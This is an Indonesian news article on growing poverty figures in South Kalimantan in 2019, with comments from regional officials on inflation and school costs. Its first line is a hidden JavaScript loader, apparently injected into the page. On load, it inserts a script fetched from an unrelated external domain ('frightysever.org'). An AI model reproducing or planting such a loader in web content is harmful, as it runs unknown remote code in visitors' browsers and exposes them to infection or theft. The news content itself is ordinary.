(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Penduduk Miskin Kalsel Tambah 5,98 Ribu Jiwa


BANJARMASIN, Badan Pusat Statistik (BPS) per 6 Februari 2019 lalu merilis jumlah penduduk miskin di Kalsel berkisar 195,01 ribu jiwa. Dibanding Maret 2018 lalu, jumlah penduduk miskin berjumlah 189,03 ribu hingga ada penambahan jumlah penduduk miskin 5,98 ribu orang.

Berdasarkan persentase penduduk miskin menurut provinsipada Maret 2018, Kalsel masih menunjukkan angka  4,54 persen. Sedangkan yang tertinggi adalah Papua dengan 27,74 persen dan terendah adalah DKI Jakarta dengan 3,57 persen.

Hal tersebut disampaikan Kepala Bappeda Kalsel Ir Nurul Fajar Desira saat memberikan keterangan kepada media, Rabu (6/3). Ia mengatakan, persentase penduduk miskin tahun 2015 hingga 2018 wilayah Kalsel, pada tahun 2015 berada pada 4,27 persen. Jumlah tersebt naik di tahun 2016 menjadi 4,52 persen. Di tahun 2017 kembali naik menuju 4,85 persen dan pada tahun 2018 turun menjadi 4,65 persen.

Hal ini menurut Fajar, dikarenakan inflasi pada masa-masa seperti tahun baru, hari raya, dan tahun ajaran baru.

“Kalau tahun lalu, Juni hingga Juli, karena hari raya bersamaan dengan tahun ajar baru. Kebutuhan masyarakat naik, dampaknya ya pada masyarakat yang berada di garis batas kemiskinan,” jelasnya.

Untuk menanggulangi hal ini, Fajar mengatakan bahwa pihaknya akan melakukan banyak operasi untuk menekan inflasi pada lebaran 2019 ini. Salah satu halnya adalah sembako murah. Pun Dinas Pendidikan juga ikut memberi program bantuan peralatan sekolah gratis untuk menekan inflasi pada masa tahun ajaran baru.

“Yang susah, harga tiket melonjak tinggi. Untuk sekarang kenaikan belum signifikan. Kalau tahun baru dan hari raya, baru terasa, karena mau tidak mau masyarakat harus beli tiket untuk pulang. Di situ bisa memicu,” ungkapnya.

Meskipun demikian, persentase angka kemiskinan di Kalsel masih berada di bawah persentase jumlah angka kemiskinan nasional (9,66 persen) dan secara regional berada di posisi terendah dibandingkan daerah lainnya, yaitu 4,65 persen.

Disampaikan oleh Siti Meiningsih, Direktur Pengelolaan Ditjen IKP dalam kegiatan Diskusi media Forum Merdeka Barat (FMB) yang diadakan di Gedung Mahligai Pancasila, jalan Surapto, Banjarmasin, persentase penduduk miskin ini juga dipengaruhi oleh tiga pelayanan dasar dengan indikator, yaitu: ketersediaan akses dan kemudahan ke rumah sakit bersalin, ketersediaan akses dan kemudahan akses ke apotek, serta ketersediaan dan akses ke sekolah menengah atas atau sederajat. (mario)

Reporter : Mario
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.